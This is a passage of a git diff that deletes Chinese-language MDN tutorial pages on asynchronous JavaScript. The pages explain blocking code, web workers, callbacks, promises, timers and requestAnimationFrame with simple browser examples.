例子: simple-sync.html  (see it running live), 在按钮上添加了一个事件监听器,当按钮被点击,它就开始运行一个非常耗时的任务(计算1千万个日期,并在console里显示最后一个日期),然后在DOM里面添加一个段落:

- -
const btn = document.querySelector('button');
-btn.addEventListener('click', () => {
-  let myDate;
-  for(let i = 0; i < 10000000; i++) {
-    let date = new Date();
-    myDate = date
-  }
-
-  console.log(myDate);
-
-  let pElem = document.createElement('p');
-  pElem.textContent = 'This is a newly-added paragraph.';
-  document.body.appendChild(pElem);
-});
- -

运行这个例子的时候,打开JavaScript console,然后点击按钮 — 你会注意到,直到日期的运算结束,最后一个日期在console上显示出来,段落才会出现在网页上。代码按照源代码的顺序执行,只有前面的代码结束运行,后面的代码才会执行。

- -
-

Note: 这个例子不现实:在实际情况中一般不会发生,没有谁会计算1千万次日期,它仅仅提供一个非常直观的体验.

-
- -

第二个例子, simple-sync-ui-blocking.html (see it live), 我们模拟一个在现实的网页可能遇到的情况:因为渲染UI而阻塞用户的互动,这个例子有2个按钮:

- - - -
function expensiveOperation() {
-  for(let i = 0; i < 1000000; i++) {
-    ctx.fillStyle = 'rgba(0,0,255, 0.2)';
-    ctx.beginPath();
-    ctx.arc(random(0, canvas.width), random(0, canvas.height), 10, degToRad(0), degToRad(360), false);
-    ctx.fill()
-  }
-}
-
-fillBtn.addEventListener('click', expensiveOperation);
-
-alertBtn.addEventListener('click', () =>
-  alert('You clicked me!')
-);
- -

如果你点击第一个按钮,然后快速点击第二个,会注意到alert消息并没有出现,只有等到圆圈都画完以后,才会出现:因为第一个操作没有完成之前阻塞了第二个操作的运行.

- -
-

Note: 当然,这个例子也很丑陋,因为我们只是在模拟阻塞效果。但在现实中,这是一个很常见的问题。开发人员们一直在努力缓解它。

-
- -

为什么是这样? 答案是:JavaScript一般来说是单线程的(single threaded接着我们来介绍线程的概念。

- -

线程

- -

一个线程是一个基本的处理过程,程序用它来完成任务。每个线程一次只能执行一个任务:

- -
Task A --> Task B --> Task C
- -

每个任务顺序执行,只有前面的结束了,后面的才能开始。

- -

正如我们之前所说,现在的计算机大都有多个内核(core),因此可以同时执行多个任务。支持多线程的编程语言可以使用计算机的多个内核,同时完成多个任务:

- -
Thread 1: Task A --> Task B
-Thread 2: Task C --> Task D
- -

JavaScript 是单线程的

- -

JavaScript 传统上是单线程的。即使有多个内核,也只能在单一线程上运行多个任务,此线程称为主线程(main thread)。我们上面的例子运行如下:

- -
Main thread: Render circles to canvas --> Display alert()
- -

经过一段时间,JavaScript获得了一些工具来帮助解决这种问题。通过 Web workers 可以把一些任务交给一个名为worker的单独的线程,这样就可以同时运行多个JavaScript代码块。一般来说,用一个worker来运行一个耗时的任务,主线程就可以处理用户的交互(避免了阻塞)

- -
Main thread: Task A --> Task C
-Worker thread: Expensive task B
- -

记住这些,请查看simple-sync-worker.html (see it running live) , 再次打开浏览器的JavaScript 控制台。这个例子重写了前例:在一个单独的worker线程中计算一千万次日期,你再点击按钮,现在浏览器可以在日期计算完成之前显示段落,阻塞消失了。

- -

异步代码

- -

web workers相当有用,但是他们确实也有局限。主要的一个问题是他们不能访问 {{Glossary("DOM")}} — 不能让一个worker直接更新UI。我们不能在worker里面渲染1百万个蓝色圆圈,它基本上只能做算数的苦活。

- -

其次,虽然在worker里面运行的代码不会产生阻塞,但是基本上还是同步的。当一个函数依赖于几个在它之前运行的过程的结果,这就会成为问题。考虑下面的情况:

- -
Main thread: Task A --> Task B
- -

在这种情况下,比如说Task A 正在从服务器上获取一个图片之类的资源,Task B 准备在图片上加一个滤镜。如果开始运行Task A 后立即尝试运行Task B,你将会得到一个错误,因为图像还没有获取到。

- -
Main thread: Task A --> Task B --> |Task D|
-Worker thread: Task C -----------> |      |
- -

在这种情况下,假设Task D 要同时使用 Task B 和Task C的结果,如果我们能保证这两个结果同时提供,程序可能正常运行,但是这不太可能。如果Task D 尝试在其中一个结果尚未可用的情况下就运行,程序就会抛出一个错误。

- -

为了解决这些问题,浏览器允许我们异步运行某些操作。像Promises 这样的功能就允许让一些操作运行 (比如:从服务器上获取图片),然后等待直到结果返回,再运行其他的操作:

- -
Main thread: Task A                   Task B
-    Promise:      |__async operation__|
- -

由于操作发生在其他地方,因此在处理异步操作的时候,主线程不会被阻塞。

- -

我们将在下一篇文章中开始研究如何编写异步代码。 非常令人兴奋,对吧? 继续阅读!

- -

总结

- -

围绕异步编程领域,现代软件设计正在加速旋转,就为了让程序在一个时间内做更多的事情。当你使用更新更强大的API时,你会发现在更多的情况下,使用异步编程是唯一的途径。以前写异步代码很困难,现在也需要你来适应,但是已经变容易了很多。在余下的部分,我们将进一步探讨异步代码的重要性,以及如何设计代码来防止前面已经提到过的问题。

- -

模块大纲

- - diff --git "a/files/zh-cn/learn/javascript/\345\274\202\346\255\245/\347\256\200\344\273\213/index.html" "b/files/zh-cn/learn/javascript/\345\274\202\346\255\245/\347\256\200\344\273\213/index.html" deleted file mode 100644 index 1792c0e086..0000000000 --- "a/files/zh-cn/learn/javascript/\345\274\202\346\255\245/\347\256\200\344\273\213/index.html" +++ /dev/null @@ -1,272 +0,0 @@ ---- -title: 异步JavaScript简介 -slug: learn/JavaScript/异步/简介 -translation_of: Learn/JavaScript/Asynchronous/Introducing ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/JavaScript/异步/概念", "Learn/JavaScript/异步/Timeouts_and_intervals", "Learn/JavaScript/异步")}}
- -

在本文中,我们简要回顾一下与同步JavaScript相关的问题,首次介绍你将遇到的一些不同的异步技术,并展示如何使用这些技术解决问题。

- - - - - - - - - - - - -
预备条件:基本的计算机素养,以及对JavaScript 基础知识的较好的理解。
目标:熟悉什么是异步JavaScript,与同步JavaScript 的区别,以及使用场合。
- -

同步JavaScript

- -

要理解什么是{{Glossary("异步")}} JavaScript ,我们应该从确切理解{{Glossary("同步")}} JavaScript 开始。本节回顾我们在上一篇文章中看到的一些信息。

- -

前面学的很多知识基本上都是同步的 — 运行代码,然后浏览器尽快返回结果。先看一个简单的例子 (运行它, 这是源码):

- -
const btn = document.querySelector('button');
-btn.addEventListener('click', () => {
-  alert('You clicked me!');
-
-  let pElem = document.createElement('p');
-  pElem.textContent = 'This is a newly-added paragraph.';
-  document.body.appendChild(pElem);
-});
-
- -

这段代码, 一行一行的顺序执行:

- -
    -
  1. 先取得一个在DOM里面的 {{htmlelement("button")}} 引用。
  2. -
  3. 点击按钮的时候,添加一个 click 事件监听器: -
      -
    1. alert() 消息出现。
    2. -
    3. 一旦alert 结束,创建一个{{htmlelement("p")}} 元素。
    4. -
    5. 给它的文本内容赋值。
    6. -
    7. 最后,把这个段落放进网页。
    8. -
    -
  4. -
- -

每一个操作在执行的时候,其他任何事情都没有发生 — 网页的渲染暂停. 因为前篇文章提到过 JavaScript is single threaded. 任何时候只能做一件事情, 只有一个主线程,其他的事情都阻塞了,直到前面的操作完成。

- -

所以上面的例子,点击了按钮以后,段落不会创建,直到在alert消息框中点击ok,段落才会出现,你可以自己试试:

- - - -

{{EmbedLiveSample('Synchronous_JavaScript', '100%', '70px')}}

- -
-

Note: 这很重要请记住,alert()在演示阻塞效果的时候非常有用,但是在正式代码里面,它就是一个噩梦。

-
- -

异步JavaScript

- -

就前面提到的种种原因(比如,和阻塞相关)很多网页API特性使用异步代码,特别是从外部的设备上获取资源,譬如,从网络获取文件,访问数据库,从网络摄像头获得视频流,或者向VR头罩广播图像。

- -

为什么使用异步代码这么难?看一个例子,当你从服务器获取一个图像,通常你不可能立马就得到,这需要时间,虽然现在的网络很快。这意味着下面的伪代码可能不能正常工作:

- -
var response = fetch('myImage.png');
-var blob = response.blob();
-// display your image blob in the UI somehow
- -

因为你不知道下载图片会多久,所以第二行代码执行的时候可能报错(可能间歇的,也可能每次)因为图像还没有就绪。取代的方法就是,代码必须等到 response 返回才能继续往下执行。

- -

在JavaScript代码中,你经常会遇到两种异步编程风格:老派callbacks,新派promise。下面就来分别介绍。

- -

异步callbacks

- -

异步callbacks 其实就是函数,只不过是作为参数传递给那些在后台执行的其他函数. 当那些后台运行的代码结束,就调用callbacks函数,通知你工作已经完成,或者其他有趣的事情发生了。使用callbacks 有一点老套,在一些老派但经常使用的API里面,你会经常看到这种风格。

- -

举个例子,异步callback 就是{{domxref("EventTarget.addEventListener", "addEventListener()")}}第二个参数(前面的例子):

- -
btn.addEventListener('click', () => {
-  alert('You clicked me!');
-
-  let pElem = document.createElement('p');
-  pElem.textContent = 'This is a newly-added paragraph.';
-  document.body.appendChild(pElem);
-});
- -

第一个参数是侦听的事件类型,第二个就是事件发生时调用的回调函数。.

- -

当我们把回调函数作为一个参数传递给另一个函数时,仅仅是把回调函数定义作为参数传递过去 — 回调函数并没有立刻执行,回调函数会在包含它的函数的某个地方异步执行,包含函数负责在合适的时候执行回调函数。

- -

你可以自己写一个容易的,包含回调函数的函数。来看另外一个例子,用 XMLHttpRequest API (运行它, 源代码) 加载资源:

- -
function loadAsset(url, type, callback) {
-  let xhr = new XMLHttpRequest();
-  xhr.open('GET', url);
-  xhr.responseType = type;
-
-  xhr.onload = function() {
-    callback(xhr.response);
-  };
-
-  xhr.send();
-}
-
-function displayImage(blob) {
-  let objectURL = URL.createObjectURL(blob);
-
-  let image = document.createElement('img');
-  image.src = objectURL;
-  document.body.appendChild(image);
-}
-
-loadAsset('coffee.jpg', 'blob', displayImage);
- -

创建 displayImage() 函数,简单的把blob传递给它,生成objectURL,然后再生成一个image元素,把objectURL作为image的源地址,最后显示这张图片。  然后,我们创建 loadAsset() 函数,把URL,type,和回调函数同时都作为参数。函数用 XMLHttpRequest (通常缩写 "XHR") 获取给定URL的资源,在获得资源响应后再把响应作为参数传递给回调函数去处理。 (使用 onload 事件处理) ,有点烧脑,是不是?!

- -

回调函数用途广泛 — 他们不仅仅可以用来控制函数的执行顺序和函数之间的数据传递,还可以根据环境的不同,将数据传递给不同的函数,所以对下载好的资源,你可以采用不同的操作来处理,譬如 processJSON(), displayText(), 等等。

- -

请注意,不是所有的回调函数都是异步的 — 有一些是同步的。一个例子就是使用 {{jsxref("Array.prototype.forEach()")}} 来遍历数组 (运行, 源代码):

- -
const gods = ['Apollo', 'Artemis', 'Ares', 'Zeus'];
-
-gods.forEach(function (eachName, index){
-  console.log(index + '. ' + eachName);
-});
- -

在这个例子中,我们遍历一个希腊神的数组,并在控制台中打印索引和值。forEach() 需要的参数是一个回调函数,回调函数本身带有两个参数,数组元素和索引值。它无需等待任何事情,立即运行。

- -

Promises

- -

Promises 是新派的异步代码,现代的web APIs经常用到。 fetch() API就是一个很好的例子, 它基本上就是一个现代版的,更高效的 {{domxref("XMLHttpRequest")}}。看个例子,来自于文章 Fetching data from the server

- -
fetch('products.json').then(function(response) {
-  return response.json();
-}).then(function(json) {
-  products = json;
-  initialize();
-}).catch(function(err) {
-  console.log('Fetch problem: ' + err.message);
-});
- -
-

Note: 在GitHub上有完整的代码 (see the source here, and also see it running live)。

-
- -

这里fetch() 只需要一个参数— 资源的网络 URL — 返回一个 promise. promise 是表示异步操作完成或失败的对象。可以说,它代表了一种中间状态。 本质上,这是浏览器说“我保证尽快给您答复”的方式,因此得名“promise”。

- -

这个概念需要练习来适应;它感觉有点像运行中的{{interwiki("wikipedia", "薛定谔猫")}}。这两种可能的结果都还没有发生,因此fetch操作目前正在等待浏览器试图在将来某个时候完成该操作的结果。然后我们有三个代码块链接到fetch()的末尾:

- - - -
-

Note: 在本模块稍后的部分中,你将学习更多关于promise的内容,所以如果你还没有完全理解这些promise,请不要担心。

-
- -

事件队列

- -

像promise这样的异步操作被放入事件队列中,事件队列在主线程完成处理后运行,这样它们就不会阻止后续JavaScript代码的运行。排队操作将尽快完成,然后将结果返回到JavaScript环境。

- -

Promises 对比 callbacks

- -

promises与旧式callbacks有一些相似之处。它们本质上是一个返回的对象,您可以将回调函数附加到该对象上,而不必将回调作为参数传递给另一个函数。

- -

然而,Promise是专门为异步操作而设计的,与旧式回调相比具有许多优点:

- - - -

异步代码的本质

- -

让我们研究一个示例,它进一步说明了异步代码的本质,展示了当我们不完全了解代码执行顺序以及将异步代码视为同步代码时可能发生的问题。下面的示例与我们之前看到的非常相似( 运行它 和 源代码)。一个不同之处在于,我们包含了许多{{domxref("console.log()")}}语句,以展示代码将在其中执行的顺序。

- -
console.log ('Starting');
-let image;
-
-fetch('coffee.jpg').then((response) => {
-  console.log('It worked :)')
-  return response.blob();
-}).then((myBlob) => {
-  let objectURL = URL.createObjectURL(myBlob);
-  image = document.createElement('img');
-  image.src = objectURL;
-  document.body.appendChild(image);
-}).catch((error) => {
-  console.log('There has been a problem with your fetch operation: ' + error.message);
-});
-
-console.log ('All done!');
- -

浏览器将会执行代码,看见第一个console.log() 输出(Starting) ,然后创建image 变量。

- -

然后,它将移动到下一行并开始执行fetch()块,但是,因为fetch()是异步执行的,没有阻塞,所以在promise相关代码之后程序继续执行,从而到达最后的console.log()语句(All done!)并将其输出到控制台。

- -

只有当fetch() 块完成运行返回结果给.then() ,我们才最后看到第二个console.log() 消息 (It worked ;)) . 所以 这些消息 可能以 和你预期不同的顺序出现:

- - - -

如果你感到疑惑,考虑下面这个小例子:

- -
console.log("registering click handler");
-
-button.addEventListener('click', () => {
-  console.log("get click");
-});
-
-console.log("all done");
- -

这在行为上非常相似——第一个和第三个console.log()消息将立即显示,但是第二个消息将被阻塞,直到有人单击鼠标按钮。前面的示例以相同的方式工作,只是在这种情况下,第二个消息在promise链上被阻塞,直到获取资源后再显示在屏幕上,而不是单击。

- -

要查看实际情况,请尝试获取示例的本地副本,并将第三个console.log()调用更改为以下命令:

- -
console.log ('All done! ' + image.src + 'displayed.');
- -

此时控制台将会报错,而不会显示第三个 console.log 的信息:

- -
TypeError: image is undefined; can't access its "src" property
- -

这是因为:浏览器运行第三个console.log()的时候,fetch() 语句块还没有完成,因此image还没有赋值。

- -

主动学习:把代码全部异步化

- -

要修复有问题的fetch()示例并使三个console.log()语句按期望的顺序出现,还可以让第三个console.log()语句异步运行。这可以通过将它移动到另一个then()块中来实现,然后将它链接到第二个then()块的末尾,或者简单地将它移动到第二个then()块中。现在就试试。

- -
-

Note: 如果你困住了,你可以在这里找到答案 (这里运行)。在后面的文章:用Promises优雅的异步编程, 你将会发现更多信息。

-
- -

小结

- -

在最基本的形式中,JavaScript是一种同步的、阻塞的、单线程的语言,在这种语言中,一次只能执行一个操作。但web浏览器定义了函数和API,允许我们当某些事件发生时不是按照同步方式,而是异步地调用函数(比如,时间的推移,用户通过鼠标的交互,或者获取网络数据)。这意味着您的代码可以同时做几件事情,而不需要停止或阻塞主线程。

- -

异步还是同步执行代码,取决于我们要做什么。

- -

有些时候,我们希望事情能够立即加载并发生。例如,当将一些用户定义的样式应用到一个页面时,您希望这些样式能够尽快被应用。

- -

但是,如果我们正在运行一个需要时间的操作,比如查询数据库并使用结果填充模板,那么最好将该操作从主线程中移开使用异步完成任务。随着时间的推移,您将了解何时选择异步技术比选择同步技术更有意义。

- - - -

{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Concepts", "Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous")}}

- -

模块大纲

- - diff --git "a/files/zh-cn/learn/javascript/\345\274\202\346\255\245/\350\266\205\346\227\266\345\222\214\351\227\264\351\232\224/index.html" "b/files/zh-cn/learn/javascript/\345\274\202\346\255\245/\350\266\205\346\227\266\345\222\214\351\227\264\351\232\224/index.html" deleted file mode 100644 index 2cf83da82c..0000000000 --- "a/files/zh-cn/learn/javascript/\345\274\202\346\255\245/\350\266\205\346\227\266\345\222\214\351\227\264\351\232\224/index.html" +++ /dev/null @@ -1,617 +0,0 @@ ---- -title: '合作异步JavaScript: 超时和间隔' -slug: learn/JavaScript/异步/超时和间隔 -translation_of: Learn/JavaScript/Asynchronous/Timeouts_and_intervals ---- -
{{LearnSidebar}}
- -
- -
{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous")}}
- -
- -

在这里,我们将讨论传统的JavaScript方法,这些方法可以在一段时间或一段规则间隔(例如,每秒固定的次数)之后,以异步方式运行代码,并讨论它们的用处,以及它们的固有问题。

- - - - - - - - - - - - -
预备条件:基本的计算机知识,对JavaScript基本原理有较好的理解。
目标:了解异步循环和间隔及其用途。
- -

介绍

- -

很长一段时间以来,web平台为JavaScript程序员提供了许多函数,这些函数允许您在一段时间间隔过后异步执行代码,或者重复异步执行代码块,直到您告诉它停止为止。这些都是:

- -
-
setTimeout()
-
在指定的时间后执行一段代码.
-
setInterval()
-
以固定的时间间隔,重复运行一段代码.
-
requestAnimationFrame()
-
setInterval()的现代版本;在浏览器下一次重新绘制显示之前执行指定的代码块,从而允许动画在适当的帧率下运行,而不管它在什么环境中运行.
-
- -

这些函数设置的异步代码实际上在主线程上运行(在其指定的计时器过去之后)。

- -

在 setTimeout() 调用执行之前或 setInterval() 迭代之间可以(并且经常会)运行其他代码。根据这些操作的处理器密集程度,它们可以进一步延迟异步代码,因为任何异步代码仅在主线程可用后才执行(换句话说,当调用栈为空时)。在阅读本文时,您将学到更多关于此问题的信息。

- -

无论如何,这些函数用于在web站点或应用程序上运行不间断的动画和其他后台处理。在下面的部分中,我们将向您展示如何使用它们。

- -

setTimeout()

- -

正如前述, setTimeout() 在指定的时间后执行一段特定代码. 它需要如下参数:

- - - -
-

Note: 指定的时间(或延迟)不能保证在指定的确切时间之后执行,而是最短的延迟执行时间。在主线程上的堆栈为空之前,传递给这些函数的回调将无法运行。

- -

结果,像 setTimeout(fn, 0) 这样的代码将在堆栈为空时立即执行,而不是立即执行。如果执行类似 setTimeout(fn, 0) 之类的代码,之后立即运行从 1 到 100亿 的循环之后,回调将在几秒后执行。 

-
- -

在下面的示例中,浏览器将在执行匿名函数之前等待两秒钟,然后显示alert消息 (see it running live, and see the source code):

- -
let myGreeting = setTimeout(function() {
-  alert('Hello, Mr. Universe!');
-}, 2000)
- -

我们指定的函数不必是匿名的。我们可以给函数一个名称,甚至可以在其他地方定义它,并将函数引用传递给 setTimeout() 。以下两个版本的代码片段相当于第一个版本:

- -
// With a named function
-let myGreeting = setTimeout(function sayHi() {
-  alert('Hello, Mr. Universe!');
-}, 2000)
-
-// With a function defined separately
-function sayHi() {
-  alert('Hello Mr. Universe!');
-}
-
-let myGreeting = setTimeout(sayHi, 2000);
- -

例如,如果我们有一个函数既需要从超时调用,也需要响应某个事件,那么这将非常有用。此外它也可以帮助保持代码整洁,特别是当超时回调超过几行代码时。

- -

setTimeout() 返回一个标志符变量用来引用这个间隔,可以稍后用来取消这个超时任务,下面就会学到 {{anch("Clearing timeouts")}} 。

- -

传递参数给setTimeout() 

- -

我们希望传递给setTimeout()中运行的函数的任何参数,都必须作为列表末尾的附加参数传递给它。

- -

例如,我们可以重构之前的函数,这样无论传递给它的人的名字是什么,它都会向它打招呼:

- -
function sayHi(who) {
-  alert('Hello ' + who + '!');
-}
- -

人名可以通过第三个参数传进 setTimeout()

- -
let myGreeting = setTimeout(sayHi, 2000, 'Mr. Universe');
- -

清除超时

- -

最后,如果创建了 timeout,您可以通过调用clearTimeout(),将setTimeout()调用的标识符作为参数传递给它,从而在超时运行之前取消。要取消上面的超时,你需要这样做:

- -
clearTimeout(myGreeting);
- -
-

注意: 请参阅 greeter-app.html 以获得稍微复杂一点的演示,该演示允许您在表单中设置要打招呼的人的姓名,并使用单独的按钮取消问候语(see the source code also)。

-
- -

setInterval()

- -

当我们需要在一段时间之后运行一次代码时,setTimeout()可以很好地工作。但是当我们需要反复运行代码时会发生什么,例如在动画的情况下?

- -

这就是setInterval()的作用所在。这与setTimeout()的工作方式非常相似,只是作为第一个参数传递给它的函数,重复执行的时间不少于第二个参数给出的毫秒数,而不是一次执行。您还可以将正在执行的函数所需的任何参数作为 setInterval() 调用的后续参数传递。

- -

让我们看一个例子。下面的函数创建一个新的Date()对象,使用toLocaleTimeString()从中提取一个时间字符串,然后在UI中显示它。然后,我们使用setInterval()每秒运行该函数一次,创建一个每秒更新一次的数字时钟的效果。

- -

(see this live, and also see the source):

- -
function displayTime() {
-   let date = new Date();
-   let time = date.toLocaleTimeString();
-   document.getElementById('demo').textContent = time;
-}
-
-const createClock = setInterval(displayTime, 1000);
- -

setTimeout()一样, setInterval() 返回一个确定的值,稍后你可以用它来取消间隔任务。

- -

清除intervals

- -

setInterval()永远保持运行任务,除非我们做点什么——我们可能会想阻止这样的任务,否则当浏览器无法完成任何进一步的任务时我们可能得到错误, 或者动画处理已经完成了。我们可以用与停止超时相同的方法来实现这一点——通过将setInterval()调用返回的标识符传递给clearInterval()函数:

- -
const myInterval = setInterval(myFunction, 2000);
-
-clearInterval(myInterval);
- -

主动学习:创建秒表!

- -

话虽如此,我们还是要给你一个挑战。以我们的setInterval-clock.html为例,修改它以创建您自己的简单秒表。

- -

你要像前面一样显示时间,但是在这里,你需要:

- - - -

提示:

- - - -
-

Note: 如果您在操作过程有困难,请参考 see it runing live (see the source code also).

-
- -

关于 setTimeout() 和 setInterval() 需要注意的几点

- -

当使用 setTimeout()setInterval()的时候,有几点需要额外注意。 现在让我们回顾一下:

- -

递归的timeouts

- -

还有另一种方法可以使用setTimeout():我们可以递归调用它来重复运行相同的代码,而不是使用setInterval()

- -

下面的示例使用递归setTimeout()每100毫秒运行传递来的函数:

- -
let i = 1;
-
-setTimeout(function run() {
-  console.log(i);
-  i++;
-  setTimeout(run, 100);
-}, 100);
- -

将上面的示例与下面的示例进行比较 ––这使用 setInterval() 来实现相同的效果:

- -
let i = 1;
-
-setInterval(function run() {
-  console.log(i);
-  i++
-}, 100);
- -

递归setTimeout()和setInterval()有何不同?

- -

上述代码的两个版本之间的差异是微妙的。

- - - -

当你的代码有可能比你分配的时间间隔,花费更长时间运行时,最好使用递归的 setTimeout() - 这将使执行之间的时间间隔保持不变,无论代码执行多长时间,你不会得到错误。

- -

立即超时

- -

使用0用作setTimeout()的回调函数会立刻执行,但是在主线程代码运行之后执行。

- -

举个例子,下面的代码(see it live) 输出一个包含警报的"Hello",然后在您点击第一个警报的OK之后立即弹出“world”。

- -
setTimeout(function() {
-  alert('World');
-}, 0);
-
-alert('Hello');
- -

如果您希望设置一个代码块以便在所有主线程完成运行后立即运行,这将很有用。将其放在异步事件循环中,这样它将随后直接运行。

- -

使用 clearTimeout() or clearInterval()清除

- -

clearTimeout()clearInterval() 都使用相同的条目列表进行清除。有趣的是,这意味着你可以使用任一一种方法来清除 setTimeout() 和 setInterval()。

- -

但为了保持一致性,你应该使用 clearTimeout() 来清除 setTimeout() 条目,使用 clearInterval() 来清除 setInterval() 条目。 这样有助于避免混乱。

- -

requestAnimationFrame()

- -

requestAnimationFrame() 是一个专门的循环函数,旨在浏览器中高效运行动画。它基本上是现代版本的setInterval() —— 它在浏览器重新加载显示内容之前执行指定的代码块,从而允许动画以适当的帧速率运行,不管其运行的环境如何。

- -

它是针对setInterval() 遇到的问题创建的,比如 setInterval()并不是针对设备优化的帧率运行,有时会丢帧。还有即使该选项卡不是活动的选项卡或动画滚出页面等问题 。

- -

(在CreativeJS上了解有关此内容的更多信息).

- -
-

注意: 你可以在课程中其他地方找到requestAnimationFrame() 的使用范例—参见 Drawing graphics, 和 Object building practice

-
- -

该方法将重新加载页面之前要调用的回调函数作为参数。这是您将看到的常见表达:

- -
function draw() {
-   // Drawing code goes here
-   requestAnimationFrame(draw);
-}
-
-draw();
- -

这个想法是要定义一个函数,在其中更新动画 (例如,移动精灵,更新乐谱,刷新数据等),然后调用它来开始这个过程。在函数的末尾,以 requestAnimationFrame() 传递的函数作为参数进行调用,这指示浏览器在下一次显示重新绘制时再次调用该函数。然后这个操作连续运行, 因为requestAnimationFrame() 是递归调用的。

- -
-

注意: 如果要执行某种简单的常规DOM动画, CSS 动画 可能更快,因为它们是由浏览器的内部代码计算而不是JavaScript直接计算的。但是,如果您正在做一些更复杂的事情,并且涉及到在DOM中不能直接访问的对象(such as 2D Canvas API or WebGL objects), requestAnimationFrame() 在大多数情况下是更好的选择。

-
- -

你的动画跑得有多快?

- -

动画的平滑度直接取决于动画的帧速率,并以每秒帧数(fps)为单位进行测量。这个数字越高,动画看起来就越平滑。

- -

由于大多数屏幕的刷新率为60Hz,因此在使用web浏览器时,可以达到的最快帧速率是每秒60帧(FPS)。然而,更多的帧意味着更多的处理,这通常会导致卡顿和跳跃-也称为丢帧或跳帧。

- -

如果您有一个刷新率为60Hz的显示器,并且希望达到60fps,则大约有16.7毫秒(1000/60)来执行动画代码来渲染每个帧。这提醒我们,我们需要注意每次通过动画循环时要运行的代码量。

- -

requestAnimationFrame() 总是试图尽可能接近60帧/秒的值,当然有时这是不可能的如果你有一个非常复杂的动画,你是在一个缓慢的计算机上运行它,你的帧速率将更少。requestAnimationFrame() 会尽其所能利用现有资源提升帧速率。

- -

 requestAnimationFrame() 与 setInterval() 和 setTimeout()有什么不同?

- -

让我们进一步讨论一下 requestAnimationFrame() 方法与前面介绍的其他方法的区别. 下面让我们看一下代码:

- -
function draw() {
-   // Drawing code goes here
-   requestAnimationFrame(draw);
-}
-
-draw();
- -

现在让我们看看如何使用setInterval():

- -
function draw() {
-   // Drawing code goes here
-}
-
-setInterval(draw, 17);
- -

如前所述,我们没有为requestAnimationFrame();指定时间间隔;它只是在当前条件下尽可能快速平稳地运行它。如果动画由于某些原因而处于屏幕外浏览器也不会浪费时间运行它。

- -

 另一方面setInterval()需要指定间隔。我们通过公式1000毫秒/60Hz得出17的最终值,然后将其四舍五入。四舍五入是一个好主意,浏览器可能会尝试运行动画的速度超过60fps,它不会对动画的平滑度有任何影响。如前所述,60Hz是标准刷新率。

- -

包括时间戳

- -

传递给 requestAnimationFrame() 函数的实际回调也可以被赋予一个参数(一个时间戳值),表示自 requestAnimationFrame() 开始运行以来的时间。这是很有用的,因为它允许您在特定的时间以恒定的速度运行,而不管您的设备有多快或多慢。您将使用的一般模式如下所示:

- -
let startTime = null;
-
-function draw(timestamp) {
-    if(!startTime) {
-      startTime = timestamp;
-    }
-
-   currentTime = timestamp - startTime;
-
-   // Do something based on current time
-
-   requestAnimationFrame(draw);
-}
-
-draw();
- -

浏览器支持

- -

 与setInterval()setTimeout() 相比最近的浏览器支持requestAnimationFrame()

- -

requestAnimationFrame().在Internet Explorer 10及更高版本中可用。因此,除非您的代码需要支持旧版本的IE,否则没有什么理由不使用requestAnimationFrame() 。

- -

一个简单的例子

- -

学习上述理论已经足够了,下面让我们仔细研究并构建自己的requestAnimationFrame() 示例。我们将创建一个简单的“旋转器动画”(spinner animation),即当应用程序忙于连接到服务器时可能会显示的那种动画。

- -
-

注意: 一般来说,像以下例子中如此简单的动画应用CSS动画来实现,这里使用requestAnimationFrame()只是为了帮助解释其用法。requestAnimationFrame()正常应用于如逐帧更新游戏画面这样的复杂动画。

-
- -
    -
  1. -

    首先, 下载我们的网页模板

    -
  2. -
  3. -

    放置一个空的 {{htmlelement("div")}} 元素进入 {{htmlelement("body")}}, 然后在其中加入一个 ↻ 字符.这是一个将循环的字符将在我们的例子中作为我们的旋转器(spinner)。

    -
  4. -
  5. -

    用任何你喜欢的方法应用下述的CSS到HTML模板中。这些在页面上设置了一个红色背景,将<body>的高度设置为100%<html>的高度,并将<div>水平和竖直居中。

    - -
    html {
    -  background-color: white;
    -  height: 100%;
    -}
    -
    -body {
    -  height: inherit;
    -  background-color: red;
    -  margin: 0;
    -  display: flex;
    -  justify-content: center;
    -  align-items: center;
    -}
    -
    -div {
    -  display: inline-block;
    -  font-size: 10rem;
    -}
    -
  6. -
  7. -

    插入一个 {{htmlelement("script")}}元素在 </body> 标签之上。

    -
  8. -
  9. -

    插入下述的JavaScript在你的 <script> 元素中。这里我们存储了一个<div>的引用在一个常量中,设置rotateCount变量为 0, 设置一个未初始化的变量之后将会用作容纳一个requestAnimationFrame() 的调用, 然后设置一个 startTime 变量为 null,它之后将会用作存储 requestAnimationFrame() 的起始时间.。

    - -
    const spinner = document.querySelector('div');
    -let rotateCount = 0;
    -let rAF;
    -let startTime = null;
    -
  10. -
  11. -

    在之前的代码下面, 插入一个 draw() 函数将被用作容纳我们的动画代码,并且包含了 时间戳 参数。

    - -
    function draw(timestamp) {
    -
    -}
    -
  12. -
  13. -

    draw()中, 加入下述的几行。 如果起始时间还没有被赋值的话,将timestamp 传给它(这只将发生在循环中的第一步)。 并赋值给rotateCount ,以旋转 旋转器(spinning)(此处取(当前时间戳 – 起始时间戳) / 3,以免它转得太快):

    - -
      if (!startTime) {
    -   startTime = timestamp;
    -  }
    -
    -  rotateCount = (timestamp - startTime) / 3;
    -
    -
  14. -
  15. -

    draw()内我们刚刚添加的代码之后,添加以下代码 — 此处是在检查rotateCount 的值是否超过了359 (e.g. 360, 一个正圆的度数)。 如果是,与360取模(值除以 360 后剩下的余数),使得圆圈的动画能以合理的低值连续播放。需要注意的是,这样的操作并不是必要的,只是比起类似于“128000度”的值,运行在 0-359 度之间会使你的操作更容易些。

    - -
    if (rotateCount > 359) {
    -  rotateCount %= 360;
    -}
    -
  16. -
  17. -

    接下来,在上一个块下面添加以下行以实际旋转 旋转(spinner)器:

    - -
    spinner.style.transform = `rotate(${rotateCount}deg)`;
    -
  18. -
  19. -

    在函数draw()内的最下方,插入下面这行代码。这是整个操作中最关键的部分 — 我们将前面定义的变量设置为以draw()函数为参数的活动requestAnimation()调用。 这样动画就开始了,以尽可能接近60 FPS的速率不断地运行draw()函数。

    - -
    rAF = requestAnimationFrame(draw);
    -
  20. -
  21. -

    draw() 函数定义下方,添加对 draw() 函数的调用以启动动画。

    -
  22. -
  23. -
    draw();
    -
  24. -
- -
-

Note: You can find this example live on GitHub (see the source code also).

-
- -

撤销requestAnimationFrame()

- -

